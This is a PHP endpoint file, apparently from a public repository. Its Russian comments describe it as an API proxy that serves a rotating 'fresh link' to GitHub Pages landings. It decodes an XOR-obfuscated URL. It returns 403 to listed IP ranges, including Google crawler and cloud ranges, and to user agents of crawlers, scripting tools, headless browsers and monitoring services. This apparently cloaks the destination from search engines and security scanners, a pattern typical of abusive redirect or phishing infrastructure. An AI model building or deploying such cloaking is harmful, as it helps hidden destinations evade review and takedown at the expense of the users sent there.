j8mcoj4pg0 / api.php
dwe112's picture
Update script via automation
0624ef2 verified
Raw History Blame Contribute Delete
6.56 kB
<?php
// ==========================================
// API ПРОКСИ ДЛЯ GITHUB PAGES
// Возвращает свежую ссылку в JSON формате
// ==========================================
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
define("CACHE_FILE", __DIR__ . "/domain_cache.txt");
define("XOR_KEY", "ui-sess-v4-8921-xb-log"); // Должен совпадать с get.php
// Функция дешифрования
function xor_decode($base64_string, $key) {
$string = base64_decode($base64_string);
$out = '';
for ($i = 0; $i < strlen($string); $i++) {
$out .= $string[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
// Функция проверки IP по CIDR
function ip_in_cidr($ip, $cidr) {
if (strpos($cidr, '/') === false) {
return $ip === $cidr;
}
list($subnet, $mask) = explode('/', $cidr);
$subnet = ip2long($subnet);
$ip = ip2long($ip);
$mask = -1 << (32 - $mask);
$subnet &= $mask;
return ($ip & $mask) == $subnet;
}
// Определение IP клиента.
// Берем ПОСЛЕДНИЙ элемент X-Forwarded-For: его дописывает доверенный прокси платформы,
// а первый элемент клиент может подделать и обойти черный список.
$client_ip = '';
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$client_ip = trim(end($ips));
} elseif (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$client_ip = trim($_SERVER['HTTP_CF_CONNECTING_IP']);
} else {
$client_ip = $_SERVER['REMOTE_ADDR'] ?? '';
}
// Проверка по черному списку
$blacklist = [
'79.137.0.0/16',
'66.249.0.0/16',
'205.169.39.0/24',
'34.0.0.0/8',
'103.196.9.0/24',
'193.233.223.41',
'192.159.101.189',
'185.221.199.229',
'135.136.0.21',
'198.44.135.79'
];
foreach ($blacklist as $cidr) {
$cidr = trim($cidr);
if (empty($cidr)) continue;
if (ip_in_cidr($client_ip, $cidr)) {
http_response_code(403);
die(); // Early Exit для ботов
}
}
// === BOT GUARD (настройки обновляет update_landings.py из config.json) ===
define('GUARD_SECRET', '2fda118de8700f39bac5148dfeb346fb');
define('GUARD_MODE', 'shadow'); // shadow | soft | strict
define('GUARD_WINDOW', 30); // минуты
define('GUARD_LOG', __DIR__ . '/bot_guard.log');
$GUARD_UA_RE = '/curl\/|wget|python-requests|python-urllib|urllib\/|okhttp|Go-http-client|java\/|apache-httpclient|libwww|WWW-Mechanize|scrapy|aiohttp|node-fetch|axios\/|httpx|HeadlessChrome|PhantomJS|SlimerJS|puppeteer|playwright|selenium|bot|crawler|spider|slurp|facebookexternalhit|TelegramBot|Discordbot|Twitterbot|LinkedInBot|Embedly|YandexBot|Baiduspider|DuckDuckBot|ia_archiver|pingdom|StatusCake|UptimeRobot/i';
// Тот же djb2, что и в JS лендинга: h = (h*33 + code) mod 2^32, вывод в base36
function guard_hash($s) {
$h = 5381;
for ($i = 0; $i < strlen($s); $i++) {
$h = ((($h << 5) + $h) + ord($s[$i])) & 0xFFFFFFFF;
}
return base_convert((string)$h, 10, 36);
}
function guard_token_valid($t, $k) {
$t = (int)$t;
if ($t <= 0 || abs(time() - $t) > GUARD_WINDOW * 60) return false;
return guard_hash(GUARD_SECRET . '|' . $t) === $k;
}
// Лог теневого режима и блокировок (ротация простым сбросом при 2 МБ)
function guard_log($reason, $ip) {
if (is_file(GUARD_LOG) && filesize(GUARD_LOG) > 2097152) {
@file_put_contents(GUARD_LOG, '');
}
$line = sprintf(
"%s\t%s\t%s\t%s\n",
date('Y-m-d H:i:s'),
$reason,
$ip,
substr(trim($_SERVER['HTTP_USER_AGENT'] ?? ''), 0, 200)
);
@file_put_contents(GUARD_LOG, $line, FILE_APPEND | LOCK_EX);
}
$guard_reason = null;
$guard_token_fail = false;
$ua = trim($_SERVER['HTTP_USER_AGENT'] ?? '');
if ($ua === '' || preg_match($GUARD_UA_RE, $ua)) {
$guard_reason = 'ua_bot';
} else {
$t = $_GET['t'] ?? '';
$k = $_GET['k'] ?? '';
if (!guard_token_valid($t, $k)) {
$guard_token_fail = true;
$sfm = $_SERVER['HTTP_SEC_FETCH_MODE'] ?? '';
$sfs = $_SERVER['HTTP_SEC_FETCH_SITE'] ?? '';
$browser_fetch = in_array($sfm, ['cors', 'same-origin', 'no-cors'], true)
&& ($sfs === '' || in_array($sfs, ['cross-site', 'same-site', 'same-origin', 'none'], true));
if (GUARD_MODE === 'strict') {
$guard_reason = 'no_token';
} elseif (GUARD_MODE === 'soft') {
if (!$browser_fetch) $guard_reason = 'no_token';
}
// shadow: блокируем только явных ботов, остальное пишем в лог
}
}
if ($guard_token_fail) {
guard_log($guard_reason !== null ? $guard_reason : (GUARD_MODE === 'shadow' ? 'shadow_no_token' : 'soft_pass'), $client_ip);
}
if ($guard_reason !== null) {
http_response_code(403);
die();
}
$cache_file = CACHE_FILE;
$api_response = "";
// Безопасное чтение файла с защитой от гонки процессов
if (file_exists($cache_file)) {
$fp = fopen($cache_file, "r");
if (flock($fp, LOCK_SH)) {
$fsize = filesize($cache_file);
if ($fsize > 0) {
$content = fread($fp, $fsize);
if (!empty($content)) {
$api_response = trim($content);
}
}
flock($fp, LOCK_UN);
}
fclose($fp);
}
if (!empty($api_response)) {
$url = xor_decode($api_response, XOR_KEY);
if (strpos($url, 'http') === 0) {
echo json_encode([
"success" => true,
"url" => $url
], JSON_UNESCAPED_SLASHES);
} else {
http_response_code(500);
echo json_encode([
"success" => false,
"error" => "Invalid decoded URL. Make sure get.php is running."
]);
}
} else {
http_response_code(404);
echo json_encode([
"success" => false,
"error" => "No cache available. Wait for get.php to run."
]);
}
?>